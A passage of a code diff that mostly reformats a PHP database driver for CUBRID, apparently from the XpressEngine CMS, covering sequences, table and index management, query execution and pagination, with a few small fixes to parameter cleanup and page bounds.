$tmp->{$val} = rtrim($tmp->{$val}); + } + } + + if($arrayIndexEndValue) + { + $output[$arrayIndexEndValue--] = $tmp; + } + else + { + $output[] = $tmp; + } + } + + unset($char_type_fields); + + if($result) + { + cubrid_close_request($result); + } + + if(count($output) == 1) + { + // If call is made for pagination, always return array + if(isset($arrayIndexEndValue)) + { + return $output; + } + // Else return object instead of array + else + { + return $output[0]; + } + } + return $output; + } + + /** + * Return the sequence value incremented by 1 + * Auto_increment column only used in the CUBRID sequence table + * @return int + */ + function getNextSequence() + { + $this->_makeSequence(); + + $query = sprintf("select \"%ssequence\".\"nextval\" as \"seq\" from db_root", $this->prefix); + $result = $this->_query($query); + $output = $this->_fetch($result); + + return $output->seq; + } + + /** + * if the table already exists, set the status to GLOBALS + * @return void + */ + function _makeSequence() + { + if($_GLOBALS['XE_EXISTS_SEQUENCE']) + return; + + // check cubrid serial + $query = sprintf('select count(*) as "count" from "db_serial" where name=\'%ssequence\'', $this->prefix); + $result = $this->_query($query); + $output = $this->_fetch($result); + + // if do not create serial + if($output->count == 0) + { + $query = sprintf('select max("a"."srl") as "srl" from ' . + '( select max("document_srl") as "srl" from ' . + '"%sdocuments" UNION ' . + 'select max("comment_srl") as "srl" from ' . + '"%scomments" UNION ' . + 'select max("member_srl") as "srl" from ' . + '"%smember"' . + ') as "a"', $this->prefix, $this->prefix, $this->prefix); - $query = sprintf ("select \"%ssequence\".\"nextval\" as \"seq\" from db_root", $this->prefix); $result = $this->_query($query); $output = $this->_fetch($result); - - return $output->seq; - } - - /** - * if the table already exists, set the status to GLOBALS - * @return void - */ - function _makeSequence() - { - if($_GLOBALS['XE_EXISTS_SEQUENCE']) return; - - // check cubrid serial - $query = sprintf('select count(*) as "count" from "db_serial" where name=\'%ssequence\'', $this->prefix); - $result = $this->_query($query); - $output = $this->_fetch($result); - - // if do not create serial - if ($output->count == 0) { - $query = sprintf('select max("a"."srl") as "srl" from '. - '( select max("document_srl") as "srl" from '. - '"%sdocuments" UNION '. - 'select max("comment_srl") as "srl" from '. - '"%scomments" UNION '. - 'select max("member_srl") as "srl" from '. - '"%smember"'. - ') as "a"', $this->prefix, $this->prefix, $this->prefix); - - $result = $this->_query($query); - $output = $this->_fetch($result); - $srl = $output->srl; - if ($srl < 1) { - $start = 1; - } - else { - $start = $srl + 1000000; - } - - // create sequence - $query = sprintf('create serial "%ssequence" start with %s increment by 1 minvalue 1 maxvalue 10000000000000000000000000000000000000 nocycle;', $this->prefix, $start); - $this->_query($query); + $srl = $output->srl; + if($srl < 1) + { + $start = 1; + } + else + { + $start = $srl + 1000000; } - $_GLOBALS['XE_EXISTS_SEQUENCE'] = TRUE; - } - - - /** - * Check a table exists status - * @param string $target_name - * @return boolean - */ - function isTableExists ($target_name) - { - if($target_name == 'sequence') { - $query = sprintf ("select \"name\" from \"db_serial\" where \"name\" = '%s%s'", $this->prefix, $target_name); - } - else { - $query = sprintf ("select \"class_name\" from \"db_class\" where \"class_name\" = '%s%s'", $this->prefix, $target_name); - } - - $result = $this->_query ($query); - if (cubrid_num_rows($result) > 0) { - $output = TRUE; - } - else { - $output = FALSE; - } - - if ($result) cubrid_close_request ($result); - - return $output; - } - - /** - * Add a column to the table - * @param string $table_name table name - * @param string $column_name column name - * @param string $type column type, default value is 'number' - * @param int $size column size - * @param string|int $default default value - * @param boolean $notnull not null status, default value is false - * @return void - */ - function addColumn($table_name, $column_name, $type = 'number', $size = '', $default = '', $notnull = FALSE) - { - $type = strtoupper($this->column_type[$type]); - if ($type == 'INTEGER') $size = ''; - - $query = sprintf ("alter class \"%s%s\" add \"%s\" ", $this->prefix, $table_name, $column_name); - - if ($type == 'char' || $type == 'varchar') { - if ($size) $size = $size * 3; - } - - if ($size) { - $query .= sprintf ("%s(%s) ", $type, $size); - } - else { - $query .= sprintf ("%s ", $type); - } - - if ($default) { - if ($type == 'INTEGER' || $type == 'BIGINT' || $type=='INT') { - $query .= sprintf ("default %d ", $default); - } - else { - $query .= sprintf ("default '%s' ", $default); - } - } - - if ($notnull) $query .= "not null "; - - return $this->_query ($query); - } - - /** - * Drop a column from the table - * @param string $table_name table name - * @param string $column_name column name - * @return void - */ - function dropColumn ($table_name, $column_name) - { - $query = sprintf ("alter class \"%s%s\" drop \"%s\" ", $this->prefix, $table_name, $column_name); - - $this->_query ($query); - } - - /** - * Check column exist status of the table - * @param string $table_name table name - * @param string $column_name column name - * @return boolean - */ - function isColumnExists ($table_name, $column_name) - { - $query = sprintf ("select \"attr_name\" from \"db_attribute\" where ". "\"attr_name\" ='%s' and \"class_name\" = '%s%s'", $column_name, $this->prefix, $table_name); - $result = $this->_query ($query); - - if (cubrid_num_rows ($result) > 0) $output = TRUE; - else $output = FALSE; - - if ($result) cubrid_close_request ($result); - - return $output; - } - - /** - * Add an index to the table - * $target_columns = array(col1, col2) - * $is_unique? unique : none - * @param string $table_name table name - * @param string $index_name index name - * @param string|array $target_columns target column or columns - * @param boolean $is_unique - * @return void - */ - function addIndex ($table_name, $index_name, $target_columns, $is_unique = FALSE) - { - if (!is_array ($target_columns)) { - $target_columns = array ($target_columns); - } - - $query = sprintf ("create %s index \"%s\" on \"%s%s\" (%s);", $is_unique?'unique':'', $index_name, $this->prefix, $table_name, '"'.implode('","',$target_columns).'"'); - - $this->_query ($query); - } - - /** - * Drop an index from the table - * @param string $table_name table name - * @param string $index_name index name - * @param boolean $is_unique - * @return void - */ - function dropIndex ($table_name, $index_name, $is_unique = FALSE) - { - $query = sprintf ("drop %s index \"%s\" on \"%s%s\"", $is_unique?'unique':'', $index_name, $this->prefix, $table_name); - + // create sequence + $query = sprintf('create serial "%ssequence" start with %s increment by 1 minvalue 1 maxvalue 10000000000000000000000000000000000000 nocycle;', $this->prefix, $start); $this->_query($query); } - /** - * Check index status of the table - * @param string $table_name table name - * @param string $index_name index name - * @return boolean - */ - function isIndexExists ($table_name, $index_name) + $_GLOBALS['XE_EXISTS_SEQUENCE'] = TRUE; + } + + /** + * Check a table exists status + * @param string $target_name + * @return boolean + */ + function isTableExists($target_name) + { + if($target_name == 'sequence') { - $query = sprintf ("select \"index_name\" from \"db_index\" where ". "\"class_name\" = '%s%s' and (\"index_name\" = '%s' or \"index_name\" = '%s') ", $this->prefix, $table_name, $this->prefix .$index_name, $index_name); - $result = $this->_query ($query); - - if ($this->isError ()) return FALSE; - - $output = $this->_fetch ($result); - - if (!$output) return FALSE; - return TRUE; + $query = sprintf("select \"name\" from \"db_serial\" where \"name\" = '%s%s'", $this->prefix, $target_name); + } + else + { + $query = sprintf("select \"class_name\" from \"db_class\" where \"class_name\" = '%s%s'", $this->prefix, $target_name); } - /** - * Delete duplicated index of the table - * @return boolean - */ - function deleteDuplicateIndexes() - { - $query = sprintf(" - select \"class_name\" - , case - when substr(\"index_name\", 0, %d) = '%s' - then substr(\"index_name\", %d) - else \"index_name\" end as unprefixed_index_name - , \"is_unique\" - from \"db_index\" - where \"class_name\" like %s - group by \"class_name\" - , case - when substr(\"index_name\", 0, %d) = '%s' - then substr(\"index_name\", %d) - else \"index_name\" - end - having count(*) > 1 - ", strlen($this->prefix) - , $this->prefix - , strlen($this->prefix) + 1 - , "'" . $this->prefix . '%' . "'" - , strlen($this->prefix) - , $this->prefix - , strlen($this->prefix) + 1 - ); - $result = $this->_query ($query); - - if ($this->isError ()) return FALSE; - - $output = $this->_fetch ($result); - if (!$output) return FALSE; - - if(!is_array($output)) { - $indexes_to_be_deleted = array($output); - } - else { - $indexes_to_be_deleted = $output; - } - - foreach($indexes_to_be_deleted as $index) - { - $this->dropIndex(substr($index->class_name, strlen($this->prefix)) - , $this->prefix . $index->unprefixed_index_name - , $index->is_unique == 'YES' ? TRUE : FALSE); - } - - return TRUE; - } - - /** - * Creates a table by using xml contents - * @param string $xml_doc xml schema contents - * @return void|object - */ - function createTableByXml ($xml_doc) + $result = $this->_query($query); + if(cubrid_num_rows($result) > 0) { - return $this->_createTable ($xml_doc); + $output = TRUE; + } + else + { + $output = FALSE; } - /** - * Creates a table by using xml file path - * @param string $file_name xml schema file path - * @return void|object - */ - function createTableByXmlFile ($file_name) + if($result) { - if (!file_exists ($file_name)) return; - // read xml file - $buff = FileHandler::readFile ($file_name); - return $this->_createTable ($buff); + cubrid_close_request($result); } - /** - * Create table by using the schema xml - * - * type : number, varchar, tinytext, text, bigtext, char, date, \n - * opt : notnull, default, size\n - * index : primary key, index, unique\n - * @param string $xml_doc xml schema contents - * @return void|object - */ - function _createTable ($xml_doc) + return $output; + } + + /** + * Add a column to the table + * @param string $table_name table name + * @param string $column_name column name + * @param string $type column type, default value is 'number' + * @param int $size column size + * @param string|int $default default value + * @param boolean $notnull not null status, default value is false + * @return void + */ + function addColumn($table_name, $column_name, $type = 'number', $size = '', $default = '', $notnull = FALSE) + { + $type = strtoupper($this->column_type[$type]); + if($type == 'INTEGER') { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - - // if the table already exists exit function - if ($this->isTableExists($table_name)) return; - - // If the table name is sequence, it creates a serial - if ($table_name == 'sequence') { - $query = sprintf ('create serial "%s" start with 1 increment by 1'. - ' minvalue 1 '. - 'maxvalue 10000000000000000000000000000000000000'. ' nocycle;', $this->prefix.$table_name); - - return $this->_query($query); - } - - - $table_name = $this->prefix.$table_name; - - $query = sprintf ('create class "%s";', $table_name); - $this->_query ($query); - - if (!is_array ($xml_obj->table->column)) { - $columns[] = $xml_obj->table->column; - } - else { - $columns = $xml_obj->table->column; - } - - $query = sprintf ("alter class \"%s\" add attribute ", $table_name); - - $primary_list = array(); - $unique_list = array(); - $index_list = array(); - - foreach ($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - - switch ($this->column_type[$type]) { - case 'integer' : - $size = NULL; - break; - case 'text' : - $size = NULL; - break; - } - - if (isset ($default) && ($type == 'varchar' || $type == 'char' || - $type == 'text' || $type == 'tinytext' || $type == 'bigtext')) { - $default = sprintf ("'%s'", $default); - } - - if ($type == 'varchar' || $type == 'char') { - if($size) $size = $size * 3; - } - - - $column_schema[] = sprintf ('"%s" %s%s %s %s', - $name, - $this->column_type[$type], - $size?'('.$size.')':'', - isset($default)?"default ".$default:'', - $notnull?'not null':''); - - if ($primary_key) { - $primary_list[] = $name; - } - else if ($unique) { - $unique_list[$unique][] = $name; - } - else if ($index) { - $index_list[$index][] = $name; - } - } - - $query .= implode (',', $column_schema).';'; - $this->_query ($query); - - if (count ($primary_list)) { - $query = sprintf ("alter class \"%s\" add attribute constraint ". "\"pkey_%s\" PRIMARY KEY(%s);", $table_name, $table_name, '"'.implode('","',$primary_list).'"'); - $this->_query ($query); - } - - if (count ($unique_list)) { - foreach ($unique_list as $key => $val) { - $query = sprintf ("create unique index \"%s\" on \"%s\" ". "(%s);", $key, $table_name, '"'.implode('","', $val).'"'); - $this->_query ($query); - } - } - - if (count ($index_list)) { - foreach ($index_list as $key => $val) { - $query = sprintf ("create index \"%s\" on \"%s\" (%s);", $key, $table_name, '"'.implode('","',$val).'"'); - $this->_query ($query); - } - } + $size = ''; } + $query = sprintf("alter class \"%s%s\" add \"%s\" ", $this->prefix, $table_name, $column_name); - - - /** - * Handles insertAct - * @param Object $queryObject - * @param boolean $with_values - * @return resource - */ - function _executeInsertAct($queryObject, $with_values = TRUE) + if($type == 'char' || $type == 'varchar') { - if($this->use_prepared_statements == 'Y') + if($size) { - $this->param = $queryObject->getArguments(); - $with_values = FALSE; + $size = $size * 3; } - $query = $this->getInsertSql($queryObject, $with_values); - if(is_a($query, 'Object')) return; + } - $query .= (__DEBUG_QUERY__&1 && $this->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; + if($size) + { + $query .= sprintf("%s(%s) ", $type, $size); + } + else + { + $query .= sprintf("%s ", $type); + } - $result = $this->_query ($query); - if ($result && !$this->transaction_started) { - $this->_commit(); + if($default) + { + if($type == 'INTEGER' || $type == 'BIGINT' || $type == 'INT') + { + $query .= sprintf("default %d ", $default); } + else + { + $query .= sprintf("default '%s' ", $default); + } + } + + if($notnull) + { + $query .= "not null "; + } + + return $this->_query($query); + } + + /** + * Drop a column from the table + * @param string $table_name table name + * @param string $column_name column name + * @return void + */ + function dropColumn($table_name, $column_name) + { + $query = sprintf("alter class \"%s%s\" drop \"%s\" ", $this->prefix, $table_name, $column_name); + + $this->_query($query); + } + + /** + * Check column exist status of the table + * @param string $table_name table name + * @param string $column_name column name + * @return boolean + */ + function isColumnExists($table_name, $column_name) + { + $query = sprintf("select \"attr_name\" from \"db_attribute\" where " . "\"attr_name\" ='%s' and \"class_name\" = '%s%s'", $column_name, $this->prefix, $table_name); + $result = $this->_query($query); + + if(cubrid_num_rows($result) > 0) + { + $output = TRUE; + } + else + { + $output = FALSE; + } + + if($result) + { + cubrid_close_request($result); + } + + return $output; + } + + /** + * Add an index to the table + * $target_columns = array(col1, col2) + * $is_unique? unique : none + * @param string $table_name table name + * @param string $index_name index name + * @param string|array $target_columns target column or columns + * @param boolean $is_unique + * @return void + */ + function addIndex($table_name, $index_name, $target_columns, $is_unique = FALSE) + { + if(!is_array($target_columns)) + { + $target_columns = array($target_columns); + } + + $query = sprintf("create %s index \"%s\" on \"%s%s\" (%s);", $is_unique ? 'unique' : '', $index_name, $this->prefix, $table_name, '"' . implode('","', $target_columns) . '"'); + + $this->_query($query); + } + + /** + * Drop an index from the table + * @param string $table_name table name + * @param string $index_name index name + * @param boolean $is_unique + * @return void + */ + function dropIndex($table_name, $index_name, $is_unique = FALSE) + { + $query = sprintf("drop %s index \"%s\" on \"%s%s\"", $is_unique ? 'unique' : '', $index_name, $this->prefix, $table_name); + + $this->_query($query); + } + + /** + * Check index status of the table + * @param string $table_name table name + * @param string $index_name index name + * @return boolean + */ + function isIndexExists($table_name, $index_name) + { + $query = sprintf("select \"index_name\" from \"db_index\" where " . "\"class_name\" = '%s%s' and (\"index_name\" = '%s' or \"index_name\" = '%s') ", $this->prefix, $table_name, $this->prefix . $index_name, $index_name); + $result = $this->_query($query); + + if($this->isError()) + { + return FALSE; + } + + $output = $this->_fetch($result); + + if(!$output) + { + return FALSE; + } + return TRUE; + } + + /** + * Delete duplicated index of the table + * @return boolean + */ + function deleteDuplicateIndexes() + { + $query = sprintf(" + select \"class_name\" + , case + when substr(\"index_name\", 0, %d) = '%s' + then substr(\"index_name\", %d) + else \"index_name\" end as unprefixed_index_name + , \"is_unique\" + from \"db_index\" + where \"class_name\" like %s + group by \"class_name\" + , case + when substr(\"index_name\", 0, %d) = '%s' + then substr(\"index_name\", %d) + else \"index_name\" + end + having count(*) > 1 + ", strlen($this->prefix) + , $this->prefix + , strlen($this->prefix) + 1 + , "'" . $this->prefix . '%' . "'" + , strlen($this->prefix) + , $this->prefix + , strlen($this->prefix) + 1 + ); + $result = $this->_query($query); + + if($this->isError()) + { + return FALSE; + } + + $output = $this->_fetch($result); + if(!$output) + { + return FALSE; + } + + if(!is_array($output)) + { + $indexes_to_be_deleted = array($output); + } + else + { + $indexes_to_be_deleted = $output; + } + + foreach($indexes_to_be_deleted as $index) + { + $this->dropIndex(substr($index->class_name, strlen($this->prefix)) + , $this->prefix . $index->unprefixed_index_name + , $index->is_unique == 'YES' ? TRUE : FALSE); + } + + return TRUE; + } + + /** + * Creates a table by using xml contents + * @param string $xml_doc xml schema contents + * @return void|object + */ + function createTableByXml($xml_doc) + { + return $this->_createTable($xml_doc); + } + + /** + * Creates a table by using xml file path + * @param string $file_name xml schema file path + * @return void|object + */ + function createTableByXmlFile($file_name) + { + if(!file_exists($file_name)) + { + return; + } + // read xml file + $buff = FileHandler::readFile($file_name); + return $this->_createTable($buff); + } + + /** + * Create table by using the schema xml + * + * type : number, varchar, tinytext, text, bigtext, char, date, \n + * opt : notnull, default, size\n + * index : primary key, index, unique\n + * @param string $xml_doc xml schema contents + * @return void|object + */ + function _createTable($xml_doc) + { + // xml parsing + $oXml = new XmlParser(); + $xml_obj = $oXml->parse($xml_doc); + // Create a table schema + $table_name = $xml_obj->table->attrs->name; + + // if the table already exists exit function + if($this->isTableExists($table_name)) + { + return; + } + + // If the table name is sequence, it creates a serial + if($table_name == 'sequence') + { + $query = sprintf('create serial "%s" start with 1 increment by 1' . + ' minvalue 1 ' . + 'maxvalue 10000000000000000000000000000000000000' . ' nocycle;', $this->prefix . $table_name); + + return $this->_query($query); + } + + + $table_name = $this->prefix . $table_name; + + $query = sprintf('create class "%s";', $table_name); + $this->_query($query); + + if(!is_array($xml_obj->table->column)) + { + $columns[] = $xml_obj->table->column; + } + else + { + $columns = $xml_obj->table->column; + } + + $query = sprintf("alter class \"%s\" add attribute ", $table_name); + + $primary_list = array(); + $unique_list = array(); + $index_list = array(); + + foreach($columns as $column) + { + $name = $column->attrs->name; + $type = $column->attrs->type; + $size = $column->attrs->size; + $notnull = $column->attrs->notnull; + $primary_key = $column->attrs->primary_key; + $index = $column->attrs->index; + $unique = $column->attrs->unique; + $default = $column->attrs->default; + + switch($this->column_type[$type]) + { + case 'integer' : + $size = NULL; + break; + case 'text' : + $size = NULL; + break; + } + + if(isset($default) && ($type == 'varchar' || $type == 'char' || + $type == 'text' || $type == 'tinytext' || $type == 'bigtext')) + { + $default = sprintf("'%s'", $default); + } + + if($type == 'varchar' || $type == 'char') + { + if($size) + $size = $size * 3; + } + + + $column_schema[] = sprintf('"%s" %s%s %s %s', $name, $this->column_type[$type], $size ? '(' . $size . ')' : '', isset($default) ? "default " . $default : '', $notnull ? 'not null' : ''); + + if($primary_key) + { + $primary_list[] = $name; + } + else if($unique) + { + $unique_list[$unique][] = $name; + } + else if($index) + { + $index_list[$index][] = $name; + } + } + + $query .= implode(',', $column_schema) . ';'; + $this->_query($query); + + if(count($primary_list)) + { + $query = sprintf("alter class \"%s\" add attribute constraint " . "\"pkey_%s\" PRIMARY KEY(%s);", $table_name, $table_name, '"' . implode('","', $primary_list) . '"'); + $this->_query($query); + } + + if(count($unique_list)) + { + foreach($unique_list as $key => $val) + { + $query = sprintf("create unique index \"%s\" on \"%s\" " . "(%s);", $key, $table_name, '"' . implode('","', $val) . '"'); + $this->_query($query); + } + } + + if(count($index_list)) + { + foreach($index_list as $key => $val) + { + $query = sprintf("create index \"%s\" on \"%s\" (%s);", $key, $table_name, '"' . implode('","', $val) . '"'); + $this->_query($query); + } + } + } + + /** + * Handles insertAct + * @param Object $queryObject + * @param boolean $with_values + * @return resource + */ + function _executeInsertAct($queryObject, $with_values = TRUE) + { + if($this->use_prepared_statements == 'Y') + { + $this->param = $queryObject->getArguments(); + $with_values = FALSE; + } + $query = $this->getInsertSql($queryObject, $with_values); + if(is_a($query, 'Object')) + { unset($this->param); - return $result; + return; } - /** - * Handles updateAct - * @param Object $queryObject - * @param boolean $with_values - * @return resource - */ - function _executeUpdateAct($queryObject, $with_values = TRUE) + $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + + $result = $this->_query($query); + if($result && !$this->transaction_started) { - if($this->use_prepared_statements == 'Y') - { - $this->param = $queryObject->getArguments(); - $with_values = FALSE; - } - $query = $this->getUpdateSql($queryObject, $with_values); - if(is_a($query, 'Object')) return; - - $query .= (__DEBUG_QUERY__&1 && $this->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; - - $result = $this->_query($query); - - if ($result && !$this->transaction_started) $this->_commit(); - unset($this->param); - return $result; + $this->_commit(); } + unset($this->param); + return $result; + } - - /** - * Handles deleteAct - * @param Object $queryObject - * @param boolean $with_values - * @return resource - */ - function _executeDeleteAct($queryObject, $with_values = TRUE) + /** + * Handles updateAct + * @param Object $queryObject + * @param boolean $with_values + * @return resource + */ + function _executeUpdateAct($queryObject, $with_values = TRUE) + { + if($this->use_prepared_statements == 'Y') + { + $this->param = $queryObject->getArguments(); + $with_values = FALSE; + } + $query = $this->getUpdateSql($queryObject, $with_values); + if(is_a($query, 'Object')) { - if($this->use_prepared_statements == 'Y') - { - $this->param = $queryObject->getArguments(); - $with_values = FALSE; - } - $query = $this->getDeleteSql($queryObject, $with_values); - if(is_a($query, 'Object')) return; - - $query .= (__DEBUG_QUERY__&1 && $this->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; - - $result = $this->_query ($query); - - if ($result && !$this->transaction_started) $this->_commit(); - unset($this->param); - return $result; + return; } - /** - * Handle selectAct - * To get a specific page list easily in select statement, - * a method, navigation, is used - * @param Object $queryObject - * @param resource $connection - * @param boolean $with_values - * @return Object - */ - function _executeSelectAct($queryObject, $connection = NULL, $with_values = TRUE) { - if ($this->use_prepared_statements == 'Y') { - $this->param = $queryObject->getArguments(); - $with_values = FALSE; - } - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()) + $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + + $result = $this->_query($query); + + if($result && !$this->transaction_started) + { + $this->_commit(); + } + unset($this->param); + return $result; + } + + /** + * Handles deleteAct + * @param Object $queryObject + * @param boolean $with_values + * @return resource + */ + function _executeDeleteAct($queryObject, $with_values = TRUE) + { + if($this->use_prepared_statements == 'Y') + { + $this->param = $queryObject->getArguments(); + $with_values = FALSE; + } + $query = $this->getDeleteSql($queryObject, $with_values); + if(is_a($query, 'Object')) + { + unset($this->param); + return; + } + + $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + + $result = $this->_query($query); + + if($result && !$this->transaction_started) + { + $this->_commit(); + } + + unset($this->param); + return $result; + } + + /** + * Handle selectAct + * To get a specific page list easily in select statement, + * a method, navigation, is used + * @param Object $queryObject + * @param resource $connection + * @param boolean $with_values + * @return Object + */ + function _executeSelectAct($queryObject, $connection = NULL, $with_values = TRUE) + { + if($this->use_prepared_statements == 'Y') + { + $this->param = $queryObject->getArguments(); + $with_values = FALSE; + } + $limit = $queryObject->getLimit(); + if($limit && $limit->isPageHandler()) + { + return $this->queryPageLimit($queryObject, $connection, $with_values); + } + else + { + $query = $this->getSelectSql($queryObject, $with_values); + if(is_a($query, 'Object')) { - return $this->queryPageLimit($queryObject, $connection, $with_values); - } - else { - $query = $this->getSelectSql($queryObject, $with_values); - if (is_a($query, 'Object')) - return; - - $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - $result = $this->_query($query, $connection); - - if ($this->isError()) - return $this->queryError($queryObject); - - $data = $this->_fetch($result); - $buff = new Object (); - $buff->data = $data; - unset($this->param); - return $buff; - } - } - - /** - * If have a error, return error object - * @param Object $queryObject - * @return Object - */ - function queryError($queryObject){ - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()){ - $buff = new Object (); - $buff->total_count = 0; - $buff->total_page = 0; - $buff->page = 1; - $buff->data = array (); - $buff->page_navigation = new PageHandler (/*$total_count*/0, /*$total_page*/1, /*$page*/1, /*$page_count*/10);//default page handler values - return $buff; - }else - return; - } - - /** - * If select query execute, return page info - * @param Object $queryObject - * @param resource $connection - * @param boolean $with_values - * @return Object Object with page info containing - */ - function queryPageLimit($queryObject, $connection, $with_values){ - $limit = $queryObject->getLimit(); - // Total count - $temp_where = $queryObject->getWhereString($with_values, FALSE); - $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString($with_values), ($temp_where === '' ? '' : ' WHERE '. $temp_where)); - - // Check for distinct query and if found update count query structure - $temp_select = $queryObject->getSelectString($with_values); - $uses_distinct = strpos(strtolower($temp_select), "distinct") !== FALSE; - $uses_groupby = $queryObject->getGroupByString() != ''; - if($uses_distinct || $uses_groupby) { - $count_query = sprintf('select %s %s %s %s' - , $temp_select - , 'FROM ' . $queryObject->getFromString($with_values) - , ($temp_where === '' ? '' : ' WHERE '. $temp_where) - , ($uses_groupby ? ' GROUP BY ' . $queryObject->getGroupByString() : '') - ); - - // If query uses grouping or distinct, count from original select - $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); - } - - $count_query .= (__DEBUG_QUERY__&1 && $queryObject->queryID)?sprintf (' '.$this->comment_syntax, $queryObject->queryID):''; - $result = $this->_query($count_query, $connection); - $count_output = $this->_fetch($result); - $total_count = (int)(isset($count_output->count) ? $count_output->count : NULL); - - $list_count = $limit->list_count->getValue(); - if (!$list_count) $list_count = 20; - $page_count = $limit->page_count->getValue(); - if (!$page_count) $page_count = 10; - $page = $limit->page->getValue(); - if (!$page) $page = 1; - - // total pages - if ($total_count) { - $total_page = (int) (($total_count - 1) / $list_count) + 1; - } - else { - $total_page = 1; + return; } - // check the page variables - if ($page > $total_page) { - // If requested page is bigger than total number of pages, return empty list - - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = array(); - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - return $buff; - } - $start_count = ($page - 1) * $list_count; + $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + $result = $this->_query($query, $connection); - $query = $this->getSelectPageSql($queryObject, $with_values, $start_count, $list_count); - $query .= (__DEBUG_QUERY__&1 && $queryObject->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; - $result = $this->_query ($query, $connection); - if ($this->isError ()) + if($this->isError()) + { + unset($this->param); return $this->queryError($queryObject); + } - $virtual_no = $total_count - ($page - 1) * $list_count; - $data = $this->_fetch($result, $virtual_no); + $data = $this->_fetch($result); + $buff = new Object (); + $buff->data = $data; - $buff = new Object (); + unset($this->param); + return $buff; + } + } + + /** + * If have a error, return error object + * @param Object $queryObject + * @return Object + */ + function queryError($queryObject) + { + $limit = $queryObject->getLimit(); + if($limit && $limit->isPageHandler()) + { + $buff = new Object (); + $buff->total_count = 0; + $buff->total_page = 0; + $buff->page = 1; + $buff->data = array(); + $buff->page_navigation = new PageHandler(/* $total_count */0, /* $total_page */1, /* $page */1, /* $page_count */10); //default page handler values + return $buff; + }else + return; + } + + /** + * If select query execute, return page info + * @param Object $queryObject + * @param resource $connection + * @param boolean $with_values + * @return Object Object with page info containing + */ + function queryPageLimit($queryObject, $connection, $with_values) + { + $limit = $queryObject->getLimit(); + // Total count + $temp_where = $queryObject->getWhereString($with_values, FALSE); + $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString($with_values), ($temp_where === '' ? '' : ' WHERE ' . $temp_where)); + + // Check for distinct query and if found update count query structure + $temp_select = $queryObject->getSelectString($with_values); + $uses_distinct = strpos(strtolower($temp_select), "distinct") !== FALSE; + $uses_groupby = $queryObject->getGroupByString() != ''; + if($uses_distinct || $uses_groupby) + { + $count_query = sprintf('select %s %s %s %s' + , $temp_select + , 'FROM ' . $queryObject->getFromString($with_values) + , ($temp_where === '' ? '' : ' WHERE ' . $temp_where) + , ($uses_groupby ? ' GROUP BY ' . $queryObject->getGroupByString() : '') + ); + + // If query uses grouping or distinct, count from original select + $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); + } + + $count_query .= (__DEBUG_QUERY__ & 1 && $queryObject->queryID) ? sprintf(' ' . $this->comment_syntax, $queryObject->queryID) : ''; + $result = $this->_query($count_query, $connection); + $count_output = $this->_fetch($result); + $total_count = (int) (isset($count_output->count) ? $count_output->count : NULL); + + $list_count = $limit->list_count->getValue(); + if(!$list_count) + { + $list_count = 20; + } + $page_count = $limit->page_count->getValue(); + if(!$page_count) + { + $page_count = 10; + } + $page = $limit->page->getValue(); + if(!$page || $page < 1) + { + $page = 1; + } + + // total pages + if($total_count) + { + $total_page = (int) (($total_count - 1) / $list_count) + 1; + } + else + { + $total_page = 1; + } + + // check the page variables + if($page > $total_page) + { + // If requested page is bigger than total number of pages, return empty list + + $buff = new Object (); $buff->total_count = $total_count; $buff->total_page = $total_page; $buff->page = $page; - $buff->data = $data; + $buff->data = array(); $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); unset($this->param); return $buff; } + $start_count = ($page - 1) * $list_count; - /** - * Return the DBParser - * @param boolean $force - * @return DBParser - */ - function getParser($force = FALSE){ - return new DBParser('"', '"', $this->prefix); + $query = $this->getSelectPageSql($queryObject, $with_values, $start_count, $list_count); + $query .= (__DEBUG_QUERY__ & 1 && $queryObject->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + $result = $this->_query($query, $connection); + if($this->isError()) + { + unset($this->param); + return $this->queryError($queryObject); } - /** - * If select query execute, return paging sql - * @param object $query - * @param boolean $with_values - * @param int $start_count - * @param int $list_count - * @return string select paging sql - */ - function getSelectPageSql($query, $with_values = TRUE, $start_count = 0, $list_count = 0) { + $virtual_no = $total_count - ($page - 1) * $list_count; + $data = $this->_fetch($result, $virtual_no); - $select = $query->getSelectString($with_values); - if($select == '') return new Object(-1, "Invalid query"); - $select = 'SELECT ' .$select; + $buff = new Object (); + $buff->total_count = $total_count; + $buff->total_page = $total_page; + $buff->page = $page; + $buff->data = $data; + $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); + unset($this->param); + return $buff; + } - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - $from = ' FROM '.$from; + /** + * Return the DBParser + * @param boolean $force + * @return DBParser + */ + function getParser($force = FALSE) + { + return new DBParser('"', '"', $this->prefix); + } - $where = $query->getWhereString($with_values); - if($where != '') - $where = ' WHERE ' . $where; + /** + * If select query execute, return paging sql + * @param object $query + * @param boolean $with_values + * @param int $start_count + * @param int 